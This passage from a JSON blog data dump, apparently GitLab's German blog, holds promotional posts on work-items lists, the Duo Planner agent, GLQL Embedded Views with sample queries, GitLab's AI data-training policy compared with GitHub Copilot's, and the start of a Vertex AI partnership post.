lohnt sich ein Blick auf das Ziel.\n\nDas Ziel ist nicht nur eine Work-Items-Liste, sondern eine Planungserfahrung, die es erlaubt, zwischen verschiedenen Ansichtstypen – Liste, Board, Tabelle und mehr – zu wechseln und dabei den aktuellen Filterbereich beizubehalten.\n\nIn Kombination mit gespeicherten Ansichten lässt sich für jeden Arbeitsablauf eine eigene Ansicht anlegen: Iterationsplanung, Backlog-Pflege, Portfolio-Planung mit verschachtelten Tabellenansichten und mehr.\n\nJede Ansicht ist sofort einsatzbereit, filtert und zeigt Arbeit konsistent an und lässt sich mit dem Team teilen. Das Framework ermöglicht künftig weitere Funktionen, darunter vollständige Swimlane-Unterstützung für beliebige Work-Item-Attribute in Boards.\n\nWir wissen, dass Änderungen an täglich genutzten Werkzeugen störend sein können. Wer Arbeitsabläufe rund um die bestehenden Epic- und Issue-Listenseiten aufgebaut hat, wird Unterschiede bemerken. Das nehmen wir nicht auf die leichte Schulter.\n\nDiese Richtung war keine schnelle Entscheidung. Sie spiegelt jahrelanges Feedback, eine erhebliche Investition in die Architektur des Work-Items-Frameworks und die Überzeugung wider, dass eine einheitliche Erfahrung Teams langfristig besser dient. Wir rechnen damit, dass die Umstellung Anpassungen erfordert, und werden auf Basis eures Feedbacks nachjustieren.\n\n## Teilt euer Feedback\n\nProbiert die neuen Funktionen aus und teilt eure Erfahrungen mit der Work-Items-Liste und gespeicherten Ansichten in unserem [Feedback-Issue](https://gitlab.com/gitlab-org/gitlab/-/work_items/590689). Eure Kommentare helfen dabei, diese Funktionen weiterzuentwickeln.",[827,828,786],"agile","features","2026-03-21","GitLab 18.10: Agile Planung mit Work-Items-Liste und gespeicherten Ansichten","Work-Items-Liste und gespeicherte Ansichten reduzieren Kontextwechsel und unterstützen konsistente Arbeitsabläufe im Entwicklungsteam.",[833],"Matthew Macfarlane","https://res.cloudinary.com/about-gitlab-com/image/upload/v1773843921/rm35fx4gylrsu9alf2fx.png",{"featured":13,"template":836,"slug":837},"BlogPost","agile-planning-gets-a-boost-from-new-features-in-gitlab-18-10",{"content":839,"config":850},{"title":840,"description":841,"heroImage":842,"date":843,"body":844,"category":686,"tags":845,"authors":847},"Planung ohne Kontext-Wechsel – mit GitLab Duo Planner","KI-Agent für Produktmanager: GitLab Duo Planner strukturiert Anforderungen, analysiert Abhängigkeiten und erstellt Status-Reports ohne Tool-Wechsel.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098354/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%281%29_5XrohmuWBNuqL89BxVUzWm_1750098354056.png","2025-10-28","Software-Entwicklungsteams verwalten viele parallele Aufgaben mit begrenzten Ressourcen. Die Planung erfordert kontinuierliche Arbeit: Anforderungen strukturieren, Backlogs pflegen, Delivery tracken und Status-Updates erstellen.\n\nDer Planungsaufwand reduziert die Zeit für strategische Entscheidungen, die Produkte tatsächlich voranbringen.\n\nFür diese Herausforderung haben wir [GitLab Duo Planner](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/planner/) entwickelt – einen KI-Agent auf Basis der [GitLab Duo Agent Platform](https://about.gitlab.com/gitlab-duo-agent-platform/), der Produktmanager direkt in GitLab unterstützt.\n\nGitLab Duo Planner ist kein generischer KI-Assistent. Die Produkt- und Engineering-Teams bei GitLab haben den Agent gezielt für Planungs-Workflows entwickelt, um Overhead zu reduzieren und gleichzeitig Alignment und Planbarkeit zu verbessern.\n\n## Unterstützung für deine Planung\n\nDrei Herausforderungen in der Planungspraxis:\n\n1. Ungeplante Arbeit – Unkoordinierte Tasks und verwaiste Work Items reduzieren das Vertrauen in die Planung.\n2. Unterbrechungen – Ständige Status-Anfragen unterbrechen den Entwicklungsfluss.\n3. Intransparenz – Risiken werden zu spät sichtbar, um gegenzusteuern.\n\nGitLab Duo Planner unterstützt Teams bei diesen Aufgaben: Der Agent strukturiert vage Ideen in konkrete Anforderungen, identifiziert Backlog-Probleme frühzeitig und wendet Priorisierungs-Frameworks wie RICE und MoSCoW an. Durch die Integration in GitLab hat der Agent Zugriff auf den vollständigen Kontext der Plattform. Die foundational agent architecture ermöglicht GitLab-spezifisches Wissen und Kontext-Awareness.\n\n## Für Teams entwickelt\n\nGitLab Duo Planner arbeitet mit Work Items (Epics, Issues, Tasks) und versteht Work Breakdown Structures, Dependency-Analysen und Aufwandsschätzungen. Dies verbessert Transparenz, Alignment und Planungssicherheit.\n\n**Plattform-Ansatz:** Im Unterschied zu Einzellösungen orchestriert Duo Planner über die gesamte GitLab-Plattform – von der Planung über Development bis Testing. Dies schafft Transparenz über Teams und Workflows hinweg.\n\n**Im Workflow integriert:** Kein Wechsel zwischen Tools oder tiefes Navigieren in GitLab erforderlich. Duo Planner ermöglicht Beiträge, Kollaboration und Transparenz für alle Beteiligten im Software Development Lifecycle.\n\n**Zeitersparnis:** Duo Planner befreit Teams von repetitiver Koordinationsarbeit, verbessert die Planbarkeit von Deliveries und reduziert verpasste Commitments. Der Fokus liegt auf der Arbeit, die tatsächlich Wirkung zeigt.\n\n## Sechs Workflows für Software-Planung\n\nGitLab Duo Planner unterstützt verschiedene Phasen der Software-Planung und arbeitet innerhalb des Planungsbereichs – einer definierten Umgebung mit Projekt-Visibility.\n\nDer Agent deckt sechs Workflows ab:\n\n**Priorisierung:** Frameworks wie RICE, MoSCoW oder WSJF werden angewendet, um Work Items systematisch zu ranken. RICE bewertet nach Reach, Impact, Confidence und Effort. MoSCoW kategorisiert nach Must have, Should have, Could have, Won't have. WSJF (Weighted Shortest Job First) gewichtet nach Business Value, Time Criticality und Risk Reduction.\n\n**Work Breakdown:** Initiativen werden in Epics, Features und User Stories zerlegt, um Anforderungen zu strukturieren. Dies folgt der hierarchischen Work Item-Struktur in GitLab.\n\n**Dependency-Analyse:** Der Agent identifiziert blockierte Arbeit und versteht Beziehungen zwischen Items, um die Velocity aufrechtzuerhalten. Abhängigkeiten werden als Blocker oder \"blocked by\"-Relationen erfasst.\n\n**Planung:** Organisation von Sprints, Milestones oder Quartalsplanungen. Der Agent berücksichtigt dabei die verfügbare Kapazität und bestehende Commitments.\n\n**Status-Reporting:** Generierung von Zusammenfassungen über Projekt-Fortschritt, Risiken und Blocker zum Tracking von Deliveries. Die Reports strukturieren sich nach Overview, Milestone-Status, In-Progress Items, Dependencies und Blockers.\n\n**Backlog Management:** Identifikation veralteter Issues, Duplikate oder Items, die Verfeinerung benötigen. Dies verbessert die Datenhygiene im Backlog.\n\n## Demonstration: Status-Check einer Initiative\n\nHier siehst du, wie GitLab Duo Planner den Status einer Initiative prüft:\n\n\u003Cdiv>\u003Ciframe src=\"https://player.vimeo.com/video/1131065078?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"GitLab Duo Planner Agent\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n\u003Cp>\u003C/p>\n\nDuo Planner ist als Custom Agent im Duo Chat Side Panel verfügbar und nutzt den aktuellen Seiten-Kontext.\n\n\u003Cp>\u003C/p>\n\n![Duo Planner als Custom Agent im Duo Chat Side Panel](https://res.cloudinary.com/about-gitlab-com/image/upload/v1761323689/ener1mkyj9shg6zvtp4f.png)\n\n\u003Cp>\u003C/p>\n\nWir fragen Duo Planner nach dem Status einer Initiative, indem wir den Epic-Link angeben:\n\n![Abfrage des Initiative-Status durch Angabe des Epic-Links](https://res.cloudinary.com/about-gitlab-com/image/upload/v1761323689/gzv2xudegtjhtesz1oaz.png)\n\n\u003Cp>\u003C/p>\n\nDer Agent liefert eine strukturierte Zusammenfassung mit Overview, aktuellem Status der Milestones, in Bearbeitung befindlichen Items, Dependencies und Blockern sowie umsetzbaren Empfehlungen.\n\n![Strukturierte Zusammenfassung](https://res.cloudinary.com/about-gitlab-com/image/upload/v1761323690/guoyqe1b9bstmbjzunez.png)\n\n\u003Cp>\u003C/p>\n\nAls Nächstes fordern wir eine Executive Summary an, um Stakeholder zu informieren. GitLab Duo Planner reduziert den manuellen Analyseaufwand für Reports und unterstützt schnellere Entscheidungen.\n\n![Anforderung einer Executive Summary](https://res.cloudinary.com/about-gitlab-com/image/upload/v1761323689/xs9zxawqrytfu54ejx2b.png)\n\n\u003Cp>\u003C/p>\n\n![Ausgabe der Executive Summary](https://res.cloudinary.com/about-gitlab-com/image/upload/v1761323690/bsbpvjaqnymobzg4knhu.png)\n\n\u003Cp>\u003C/p>\n\nWeitere Beispiel-Prompts für GitLab Duo Planner:\n\n* \"Welche Bugs mit dem Label 'boards' sollten wir priorisieren, unter Berücksichtigung der User Impact?\"\n* \"Ranke diese Epics nach strategischem Wert für Q1.\"\n* \"Hilf mir, Technical Debt gegen neue Features zu priorisieren.\"\n* \"Welche Tasks sind erforderlich, um diese User Story zu implementieren?\"\n* \"Schlage einen phasenweisen Ansatz für dieses Projekt vor: (URL einfügen).\"\n\n## Agile-Planung mit GitLab\n\nGitLab Duo Planner konzentriert sich gezielt auf Produktmanager und Engineering Manager in Agile-Umgebungen. Diese Spezialisierung ermöglicht verlässliche, umsetzbare Erkenntnisse statt generischer Vorschläge. Der Agent wurde auf GitLabs Planungs-Workflows und Agile Frameworks trainiert.\n\nDie Agent Platform entwickelt sich weiter: Wir arbeiten an einer Familie spezialisierter Agents, die jeweils für spezifische Workflows optimiert sind und zu einer unified intelligence layer beitragen. Der heutige Planner für Software-Teams ist der erste Schritt für KI-gestützte Priorisierung in verschiedenen Team-Kontexten.\n\n**Integration in deutsche Agile-Prozesse:** GitLab Duo Planner lässt sich in bestehende Scrum- und Kanban-Workflows integrieren. Der Agent arbeitet mit der Standard-Work-Item-Hierarchie in GitLab und respektiert definierte Projekt-Boundaries. Beispielsweise können Teams den Agent für Sprint Planning einsetzen, indem sie Backlog-Items nach RICE bewerten lassen und anschließend die Ergebnisse im Sprint Planning Meeting verwenden.\n\n**Technische Voraussetzungen:** Die Nutzung erfordert GitLab mit aktivierter Duo Chat Funktion. Der Agent operiert innerhalb der konfigurierten Projekt-Visibility und hat Zugriff auf Work Items, für die du Leserechte besitzt. Die Dokumentation erklärt Prerequisites, Anwendungsfälle und Konfiguration im Detail.\n\n> Wenn du GitLab-Kunde bist und GitLab Duo Planner mit eigenen Prompts testen möchtest, findest du in unserer [Dokumentation](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/planner/) Prerequisites, Anwendungsfälle und weitere Details.",[846,827,828,786],"AI/ML",[848,849],"Aathira Nair","Amanda Rueda",{"featured":13,"template":836,"slug":851},"ace-your-planning-without-the-context-switching",{"content":853,"config":866},{"heroImage":854,"body":855,"authors":856,"updatedDate":859,"date":860,"title":861,"tags":862,"description":865,"category":686},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099072/Blog/Hero%20Images/Blog/Hero%20Images/agile_agile.png_1750099072322.png","Kommt dir das bekannt vor? Du wechselst ständig zwischen Tabs in GitLab, nur um den\nÜberblick zu behalten, was in deinem Projekt passiert? Vielleicht prüfst du\neine Issue, springst dann zu einem Merge Request und dann zu einem Epic, um\nzu sehen, wie alles zusammenhängt. Ehe du dich versiehst, ist dein Browser\nvoller Tabs und du hast den roten Faden verloren.\n\nKeine Sorge, du stehst nicht alleine da. Viele Teams verschwenden Zeit und Energie damit, zwischen verschiedenen Elementen in ihrer Projektverwaltungssoftware hin und her zu springen, nur um den Überblick über ihre Arbeit zu behalten.\n\nDeshalb haben wir [Embedded Views](https://docs.gitlab.com/user/glql/#embedded-views) entwickelt, angetrieben von [GitLab Query Language (GLQL)](https://docs.gitlab.com/user/glql/). Mit Embedded Views, [verfügbar ab 18.3](https://docs.gitlab.com/releases/18/gitlab-18-3-released/), erhältst du Live-Informationen genau dort, wo du bereits in GitLab arbeitest. Kein endloses Kontextwechseln mehr. Keine veralteten Berichte mehr. Nur die Informationen, die du brauchst, genau dann, wenn du sie brauchst.\n\n## Warum Embedded Views wichtig sind\n\nEmbedded Views sind mehr als nur ein neues Feature – sie stellen eine grundlegende Veränderung dar, wie Teams ihre Arbeit in GitLab verstehen und verfolgen. Mit Embedded Views können Teams den Kontext beibehalten, während sie auf Echtzeitinformationen zugreifen, gemeinsames Verständnis schaffen und die Zusammenarbeit verbessern, ohne ihren aktuellen Workflow zu verlassen. Es geht darum, die Arbeitsverfolgung natürlich und mühelos zu gestalten, damit Sie sich auf das Wesentliche konzentrieren können.\n\n## So funktioniert's: Echtzeitdaten genau dort, wo sie am meisten gebraucht werden\n\nMit Embedded Views kannst du Live-GLQL-Abfragen in Markdown-Codeblöcken in Wiki-Seiten, Epics, Issues und Merge Requests einfügen. Das macht sie so nützlich:\n\n### Immer aktuell\n\nGLQL-Abfragen sind dynamisch und rufen bei jedem Seitenladen frische Daten ab. Deine Embedded Views spiegeln also immer den aktuellen Zustand deiner Arbeit wider, nicht den Zustand beim Einbetten der Ansicht. Wenn Änderungen an Issues, Merge Requests oder Milestones auftreten, zeigt eine Seitenaktualisierung diese Updates in Ihrer Embedded View an.\n\n### Kontextbezogenes Bewusstsein\n\nVerwende Funktionen wie `currentUser()` und `today()`, um Abfragen kontextspezifisch zu machen. Deine Embedded Views passen sich automatisch an, um relevante Informationen für die jeweilige Person anzuzeigen, die sie betrachtet, und schaffen so personalisierte Erlebnisse ohne manuelle Konfiguration.\n\n### Leistungsstarke Filterung\n\nFilter nach Feldern wie Zuweisenden, Autor(inn)en, Label, Milestone, Gesundheitsstatus, Erstellungsdatum und mehr. Verwende logische Ausdrücke, um genau die gewünschten Daten zu erhalten. Wir unterstützen mehr als 30 Felder ab Version 18.3.\n\n### Anpassbare Anzeige\n\nDu kannst deine Daten als Tabelle, Liste oder nummerierte Liste anzeigen. Wähle, welche Felder angezeigt werden sollen, lege ein Limit für die Anzahl der Elemente fest und gib die Sortierreihenfolge an, um deine Ansicht fokussiert und handlungsorientiert zu halten.\n\n### Verfügbarkeit\n\nDu kannst Embedded Views in Gruppen- und Projekt-Wikis, Epic- und Issue-Beschreibungen, Merge Requests und Kommentaren verwenden. GLQL ist in allen GitLab-Stufen verfügbar: Free, Premium und Ultimate, auf GitLab.com, GitLab Self-Managed und GitLab Dedicated. Bestimmte Funktionen wie die Anzeige von Epics, Status, benutzerdefinierten Feldern, Iterationen und Gewichtungen sind in den Stufen Premium und Ultimate verfügbar. Die Anzeige des Gesundheitsstatus ist nur in Ultimate verfügbar.\n\n## Embedded Views in Aktion erleben\n\nDie Syntax einer Embedded View-Quelle ist eine Obermenge von YAML. Sie besteht aus:\n\n* Dem `query`-Parameter: Ausdrücke, die mit einem logischen Operator wie `and` verbunden werden.\n* Parametern für die Präsentationsebene wie `display`, `limit` oder `fields`, `title` und `description`,\n  dargestellt als YAML.\n\nEine View wird in Markdown als Codeblock definiert, ähnlich wie andere Codeblöcke wie Mermaid.\n\nZum Beispiel:\n\n> Zeige eine Tabelle der ersten 5 offenen Issues an, die dem authentifizierten Benutzer in `gitlab-org/gitlab` zugewiesen sind.\n>\n> Zeige die Spalten `title`, `state`, `health`, `description`, `epic`, `milestone`, `weight` und `updated`.\n\n````yaml\n```glql\n\ndisplay: table\n\ntitle: GLQL-Tabelle 🎉\n\ndescription: Diese Ansicht listet meine offenen Issues auf\n\nfields: title, state, health, epic, milestone, weight, updated\n\nlimit: 5\n\nquery: project = \"gitlab-org/gitlab\" AND assignee = currentUser() AND state = opened\n```\n````\nDiese Quelle sollte eine Tabelle wie die folgende rendern:\n\n![](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755193172/ibzfopvpztpglnccwrjj.png)\n\nEine einfache Möglichkeit, erste Embedded View zu erstellen, besteht darin, zum Dropdown-Menü **Weitere Optionen** in der Rich-Text-Editor-Symbolleiste zu navigieren. Wähle dort **Embedded View** aus, wodurch folgende Abfrage in einem Markdown-Codeblock eingefügt wird:\n\n````yaml\n```glql\n\nquery: assignee = currentUser()\n\nfields: title, createdAt, milestone, assignee\n\ntitle: Mir zugewiesene Issues\n```\n````\n\nSpeicher deine Änderungen im Kommentar oder in der Beschreibung, wo der Codeblock erscheint, und schon bist du fertig! Du hast erfolgreich deine erste Embedded View erstellt!\n\n## Wie GitLab Embedded Views nutzt\n\nOb wir Merge Requests für Security-Releases nachverfolgen, Bugs zur Verbesserung der Backlog-Hygiene triagieren oder Team-Onboarding und Milestone-Planung verwalten – wir verlassen uns täglich bei geschäftskritischen Prozessen auf Embedded Views. Dies ist nicht nur ein Feature, das wir entwickelt haben, es ist ein Tool, auf das wir uns verlassen, um unser Geschäft effektiv zu führen. Wenn du Embedded Views einführst, erhältst du eine getestete Lösung, die GitLab-Teams bereits dabei hilft, effizienter zu arbeiten, datengesteuerte Entscheidungen zu treffen und die Transparenz über komplexe Workflows hinweg zu wahren. Einfach ausgedrückt: Embedded Views können verändern, wie dein Team auf die Arbeit zugreift und sie analysiert, die für deinen Erfolg am wichtigsten ist.\n\nUm mehr darüber zu erfahren und zu sehen, wie GitLab Embedded Views intern nutzt, schaue dir [How GitLab measures Red Team impact: The adoption rate metric](https://about.gitlab.com/blog/how-gitlab-measures-red-team-impact-the-adoption-rate-metric/) und Global Search Release Planning Issues für die Milestones [18.1](https://gitlab.com/gitlab-org/search-team/team-tasks/-/issues/239), [18.2](https://gitlab.com/gitlab-org/search-team/team-tasks/-/issues/241) und [18.3](https://gitlab.com/gitlab-org/search-team/team-tasks/-/issues/245) an.\n\n## Was kommt als Nächstes\n\n[Embedded Views](https://docs.gitlab.com/user/glql/) sind nur der Anfang der Vision der Knowledge Group für die Arbeitsverfolgung. Erfahre mehr über unsere nächsten Schwerpunkte im [Embedded Views Post-GA Epic](https://gitlab.com/groups/gitlab-org/-/epics/15249). Während sich Embedded Views weiterentwickeln, wollen wir sie noch leistungsfähiger und [zugänglicher](https://gitlab.com/gitlab-org/gitlab/-/issues/548722) zu machen.\n\n## Teile deine Erfahrungen\n\nTeile uns dein Feedback mit im [Embedded Views GA Feedback Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/509792). Egal ob du innovative Anwendungsfälle entdeckt hast, auf Herausforderungen gestoßen bist oder Verbesserungsideen hast – wir wollen von dir hören.\n",[833,857,858],"Himanshu Kapoor","Alex Fracazo","2025-09-11","2025-08-21","Embedded Views: Die Zukunft des Work Tracking in GitLab",[827,863,864],"DevSecOps platform","workflow","So machen Embedded Views Teams effizienter, fördern datengesteuerte Entscheidungen und bieten Transparenz in Workflows. Alles mit GitLab Query Language.",{"featured":687,"template":836,"slug":867},"embedded-views-the-future-of-work-tracking-in-gitlab",{"category":701,"slug":699,"posts":869},[870,882,896],{"content":871,"config":880},{"title":872,"description":873,"authors":874,"heroImage":876,"date":877,"body":878,"category":699,"tags":879},"GitHubs neue Copilot-Richtlinie: Was regulierte Unternehmen jetzt prüfen müssen","Warum GitLabs Datenverwaltungsansatz strukturell anders ist – und was GitHubs neue Copilot-Richtlinie für regulierte Unternehmen bedeutet.",[875],"Allie Holland","https://res.cloudinary.com/about-gitlab-com/image/upload/v1776347152/unw3mzatkd5xyfbzcnni.png","2026-04-20","GitHub hat kürzlich angekündigt, wie Interaktionsdaten von Copilot-Nutzenden\nkünftig verwendet werden. Ab dem 24. April 2026 werden Daten aus Copilot Free,\nPro und Pro+ standardmäßig zum Training von KI-Modellen genutzt, sofern\nNutzende nicht aktiv widersprechen. Betroffen sind Eingaben, Ausgaben,\nCode-Snippets und zugehöriger Kontext. Copilot Business und Enterprise sind\naufgrund bestehender Vertragskonditionen ausgenommen.\n\nFür Unternehmen in regulierten Branchen wirft diese Änderung Fragen auf, die\nüber individuelle Entwicklerpräferenzen weit hinausgehen. Sie zwingt zu einer\ngrundlegenden Prüfung, die Führungskräfte aus Engineering und IT-Sicherheit\njedem KI-Anbieter in ihrem Stack stellen sollten: Werden unsere Daten für\nKI-Training verwendet?\n\nGitLabs Antwort lautet: Nein. GitLab trainiert KI-Modelle nicht mit\nKundendaten – auf keiner Preisstufe. KI-Anbieter sind vertraglich verpflichtet,\nKundeneingaben und -ausgaben nicht für eigene Zwecke zu verwenden. Das\n[GitLab AI Transparency Center](https://about.gitlab.com/de-de/ai-transparency-center/)\nmacht diese Zusage prüfbar. Eine zentrale Dokumentation zeigt, welche Modelle\nwelche Funktionen betreiben, wie Daten verarbeitet werden, welche\nUnterauftragsverarbeiter beteiligt sind und wie lange Daten gespeichert werden.\nDas AI Transparency Center dokumentiert außerdem den Compliance-Status jeder\nFunktion – einschließlich der Bestätigung, dass GitLabs aktuelle KI-Funktionen\nnicht als Hochrisikosysteme im Sinne des EU AI Act eingestuft werden. Diesen\nStandard hat GitLab-CEO Bill Staples\n[wiederholt bekräftigt](https://www.linkedin.com/posts/williamstaples_gitlab-1810-agentic-ai-now-open-to-even-activity-7443280763715985408-aHxf)\n– er spiegelt GitLabs Unternehmensmission und das\n[Trust Center](https://trust.gitlab.com/) wider.\n\n\n## Was die Richtlinienänderung tatsächlich bedeutet\n\nGitHub gibt zudem an, dass die Daten mit verbundenen Unternehmen – darunter\nMicrosoft – für KI-Entwicklungszwecke geteilt werden können.\n\nQuellcode zählt häufig zum sensibelsten geistigen Eigentum eines Unternehmens.\nEr kann proprietäre Geschäftslogik abbilden, interne Systemarchitekturen\noffenlegen oder Datenflüsse berühren, die strengen Aufbewahrungs- und\nZugriffsrichtlinien unterliegen. Wenn dieser Code einen KI-Assistenten\ndurchläuft und zum Training von Modellen verwendet wird, die auch Wettbewerbern\ndienen, werden Anbieterdatenpraktiken zu einem konkreten IP-Risiko. Regulierte\nBranchen weltweit – von Finanzdienstleistungen über Gesundheitswesen bis zum\nöffentlichen Sektor – operieren unter Compliance-Anforderungen, die genau\ndiesen Punkt adressieren: dokumentierte, prüfbare Kontrolle über den Umgang\nDritter mit sensiblen Daten.\n\nEine Anbieterrichtlinie, die Datenstandardeinstellungen ändert, ein aktives\nWiderspruchsrecht erfordert und je nach Vertragsstufe unterschiedliche\nSchutzstandards bietet, erzeugt genau die Art unkontrollierbarer Variablen,\ndie Compliance-Teams nicht akzeptieren können. Der\n[Digital Operational Resilience Act (DORA)](https://eur-lex.europa.eu/eli/reg/2022/2554/oj/eng)\n– seit Januar 2025 für europäische Finanzinstitute verbindlich – macht dies\nexplizit: Wesentliche Änderungen an IT-Drittanbieterbeziehungen erfordern\ndokumentierte Bewertung und Nachverfolgung.\n\n\n## Was regulierte Unternehmen von KI-Anbietern tatsächlich benötigen\n\nRegulierte Unternehmen diskutieren nicht mehr grundsätzlich, ob KI in\nEntwicklungs-Workflows eingesetzt werden soll. Der Fokus liegt darauf, dies so\nzu tun, dass es gegenüber Aufsichtsbehörden, Vorständen und Kunden vertretbar\nist. Dabei sind branchenübergreifend konsistente Anforderungen sichtbar\ngeworden.\n\n**Vertragliche Klarheit.** Regulierte Unternehmen benötigen spezifische,\ndokumentierte und bedingungslose Zusagen darüber, was mit ihren Daten geschieht\n– nicht etwas, das je nach Vertragsstufe variiert oder eine Handlung vor einem\nStichtag erfordert.\n\n**Prüfbarkeit.** IT-Risikomanagement-Frameworks verlangen von Unternehmen, die\neingesetzten KI-Systeme zu verstehen und zu validieren: die Trainingsdaten\nhinter diesen Modellen und die beteiligten Drittparteien. Anbieter, die diese\nFragen nicht beantworten können, erzeugen Dokumentationsrisiken für die\nOrganisationen, die sich auf sie stützen.\n\n**Trennung von Anbieterinteressen.** Wenn ein KI-Anbieter Modelle auf Basis\nvon Kundennutzungsdaten trainiert, werden Code und Workflows zu Eingaben für\nein System, das auch Wettbewerbern dient. Für Institutionen mit proprietären\nHandelsalgorithmen, Underwriting-Modellen oder Betrugserkennungssystemen ist\ndas ein konkretes IP-Risiko.\n\n\n## GitLabs Position zur KI-Datenverwaltung\n\nGitLab verwendet Kundendaten nicht zum Training von KI-Modellen. Diese Zusage\ngilt auf jeder Preisstufe; KI-Anbieter sind vertraglich verpflichtet, Eingaben\nund Ausgaben, die mit GitLab-Kunden verbunden sind, nicht für eigene Zwecke zu\nverwenden.\n\nDies ist eine bewusste architektonische und richtlinienbezogene Entscheidung –\nkein Merkmal einer bestimmten Preisstufe. Wie GitLabs\n[Beitrag zur Enterprise-Unabhängigkeit](https://about.gitlab.com/de-de/blog/why-enterprise-independence-matters-more-than-ever-in-devsecops/)\nfesthält, ist Datenverwaltung zu einem \"zunehmend kritischen Faktor bei\nUnternehmensentscheidungen\" geworden – getrieben durch nationale und regionale\nDatenschutzgesetze und wachsende Bedenken hinsichtlich der Kontrolle über\nsensibles geistiges Eigentum.\n\nGitLab ist cloud-neutral und modell-neutral und unterstützt\nSelf-Hosted-Deployments ohne kommerzielle Bindung an einen einzelnen\nCloud-Anbieter oder ein Large Language Model. Diese Unabhängigkeit ist für\nregulierte Unternehmen relevant, die Risiken durch Anbieterkonzentration\nbewerten. Der\n[AI Continuity Plan](https://handbook.gitlab.com/handbook/product/ai/continuity-plan/)\ndokumentiert, wie Anbieterveränderungen gehandhabt werden – einschließlich\nwesentlicher Änderungen daran, wie KI-Anbieter Kundendaten behandeln. Er ist\neine direkte Antwort auf die Governance-Anforderungen unter Frameworks wie\n[DORA](https://handbook.gitlab.com/handbook/legal/dora/).\n\n\n## Die Governance-Lücke, die KI-Teams schließen müssen\n\nGitHubs Richtlinienaktualisierung macht deutlich: Für Unternehmen in\nregulierten Branchen ist das genaue Verständnis des Datenumgangs eines\nKI-Werkzeugs eine Voraussetzung für dessen Einsatz. Das bedeutet, Anbietern\nklare, dokumentierte Antworten auf folgende Fragen abzuverlangen:\n\n1. Werden unsere Daten zum Training von KI-Modellen verwendet?\n2. Wer sind Ihre KI-Modell-Unterauftragsverarbeiter?\n3. Was geschieht, wenn ein Anbieter seine Datenpraktiken ändert?\n4. Lässt sich ein Deployment realisieren, das alle KI-Verarbeitung innerhalb\n   der eigenen Infrastruktur hält?\n5. Welche Haftungsübernahme wird für KI-generierte Ausgaben angeboten?\n\nAnbieter, die diese Fragen klar beantworten und die Antworten in prüfbarer\nForm dokumentieren, sind Anbieter, auf die sich aufbauen lässt.\n**Wer das nicht kann, schafft Compliance-Risiken bei jedem Policy-Update.**\nWenn ein Anbieter Datenpraktiken mit 30 Tagen Ankündigungsfrist ändern kann,\nist das kein partnerschaftlicher Rahmen für regulierte Unternehmen – das ist\nein strukturelles Compliance-Risiko.\n\n> Mehr zu GitLabs Ansatz für KI-Governance im\n> [GitLab AI Transparency Center](https://about.gitlab.com/de-de/ai-transparency-center/).\n",[846,786],{"featured":687,"template":836,"slug":881},"github-copilots-new-policy-for-ai-training-is-a-governance-wake-up-call",{"content":883,"config":894},{"title":884,"description":885,"authors":886,"body":889,"heroImage":890,"date":891,"category":699,"tags":892},"GitLab und Vertex AI auf Google Cloud: Agentenbasierte Softwareentwicklung","Erfahre, wie Google Cloud-Kunden auf GitLab und Vertex AI setzen – für Foundation Models, Enterprise-Kontrollen und die Vielfalt von Model Garden.\n",[887,888],"Regnard Raquedan","Rajesh Agadi","GitLab Duo Agent Platform verändert die Art und Weise, wie Unternehmen Software entwickeln, absichern und bereitstellen. Seit der allgemeinen Verfügbarkeit im Januar 2026 bringt die Plattform agentenbasierte KI in jede Phase des Software Development Lifecycle. Duo Agent Platform ist eine intelligente Orchestrierungsebene, auf der Softwareteams und ihre spezialisierten Agenten gemeinsam planen, programmieren, Reviews durchführen und Sicherheitslücken beheben.\n\nIm Rahmen dieser Partnerschaft automatisiert [GitLab Duo Agent Platform](https://about.gitlab.com/de-de/gitlab-duo-agent-platform/) die Orchestrierung und den Lifecycle-Kontext der Softwareentwicklung – über die Integration mit Vertex AI auf Google Cloud, das die Modellebene für Agent-Aufrufe bereitstellt. Softwareteams arbeiten weiterhin mit Issues, Merge Requests, Pipelines und Security-Workflows, während die Inferenz der Google Cloud-Konfiguration folgt, die bereits definiert wurde.\n\nFortschritte bei den Vertex AI-Modellen von Google Cloud erweitern die Einsatzmöglichkeiten von GitLab Duo Agent Platform. Kunden erhalten eine KI-gestützte DevSecOps-Steuerungsebene in GitLab, gestützt auf eine leistungsfähige KI-Infrastruktur in Vertex AI und die flexiblen Deployment- und Integrationsoptionen von Duo Agent Platform. In Kombination ermöglicht das leistungsfähigere, kontrollierte agentenbasierte Workflows im Enterprise-Maßstab.\n\n![Konzeptionelle Darstellung der GitLab Duo Agent Platform, integriert mit Google Clouds Vertex AI, für agentenbasierte Softwareentwicklung und kontrollierte KI-Workflows](https://res.cloudinary.com/about-gitlab-com/image/upload/v1776165990/b7jlux9kydafncwy8spc.png)\n\n\n## Agenten über den gesamten Lifecycle hinweg\n\n\nViele KI-Tools konzentrieren sich auf eine einzelne Aufgabe: Code schneller generieren. GitLab Duo Agent Platform geht weiter. Die Plattform orchestriert KI-Agenten über den gesamten Software Development Lifecycle (SDLC) – von der Planung über das Security-Review bis zur Auslieferung, teamübergreifend und über viele Projekte und Releases hinweg. In diesem Maßstab sind KI-Coding-Assistenten zwar notwendig für kontinuierliche Innovation, aber nicht ausreichend.\n\nEinzelne Coding-Assistenten erfassen selten den vollständigen Zustand eines Projekts. Backlog-Strukturen, offene Merge Requests, fehlgeschlagene Jobs und Sicherheitsbefunde befinden sich in GitLab – aber ein separates Chat-Fenster in einem Coding-Assistenten übernimmt dieses Gesamtbild des SDLC nicht. Die Lücke zeigt sich in manuellen Übergaben, wiederholten Erklärungen an eine KI ohne Kontext und Governance-Teams, die Datenflüsse über Tools hinweg nachvollziehen müssen, die nie als einheitliches System konzipiert wurden.\n\nGitLab Duo Agent Platform schließt diese Lücke, indem Agenten und Flows auf denselben Objekten arbeiten, die Entwicklungsteams täglich nutzen. Vertex AI liefert dabei die Modelle und Services, die diese Agenten 